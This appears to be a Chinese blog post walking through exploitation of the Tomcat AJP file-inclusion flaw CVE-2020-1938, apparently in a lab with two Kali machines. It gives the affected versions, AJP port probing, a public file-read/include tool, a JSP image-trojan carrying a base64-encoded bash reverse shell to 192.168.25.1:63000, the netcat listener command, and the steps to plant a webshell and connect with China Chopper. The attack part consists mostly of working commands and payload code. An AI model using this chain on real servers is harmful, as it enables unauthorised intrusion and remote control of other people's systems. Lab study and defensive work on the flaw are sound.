CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程

一、影响范围(有一些不在影响的范围的版本也会存在)

受影响版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

不受影响版本

  • Apache Tomcat = 7.0.100
  • Apache Tomcat = 8.5.51
  • Apache Tomcat = 9.0.31

 

二、漏洞利用

  靶机:kali2020    tomcat 8.5.32

  攻击机:kali2020

 

1、

  假设在靶机上,tomcat搭建的网站存在文件上传,但是只可以上传图片的情况下。如何利用此漏洞getshell

CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程

 

 

2、探测端口存在8009,或者有一些网站会更改AJP的端口如(8099 8001 8011)反正都试一下吧,本人就遇到过改为8099和8001的

(说个题外话:有一些网站可能会存在两个tomcat的版本,所以ajp也会两个端口,在验证漏洞的时候找好AJP对应的网站。)

 

3、使用大佬写的工具进行文件读取和文件包含(工具文件读取和包含都存在)

工具地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

验证漏洞存在先进行文件读取(读取不到web.xml的情况下可以尝试读取一些已知的文件,可能会没有web.xml

 

执行语句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目标Ip

CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程

 

 

4、上传带有反弹shell语句的图片马

反弹shell语句:

   bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

在http://www.jackson-t.ca/runtime-exec-payloads.html网站进行一下转换

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

下载一个图片,使用copy合成图片马

copy 1.jpg/b + 2.jsp/a 3.jpg

上传3.jpg

 

5、包含3.jpg,并成功反弹shell(必须要已知路径,当前路径即可,所包含的文件必须在ROOT目录下)

记得要nc监听反弹的端口哦    nc -lvvp 63000

python Tomcat_file_includ.py -p 8009 -f upload/3.jpg 192.168.25.134

CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程

 

 

5、写入一句话木马

echo jsp一句话 > a.jsp    //在a.txt这个文件中输入i love u,如果没有这个文件则创建。如果有这个文件,那么新内容代替原来的内容。

 

6、菜刀连接即可。

 

CVE-2020-1938 Tomcat AJP 漏洞到getshell全过程

上一篇:杂七杂八的问题处理01--mac下的eclipse默认不提供代码联想功能


下一篇:编译安装vim (ubuntu)(debian适用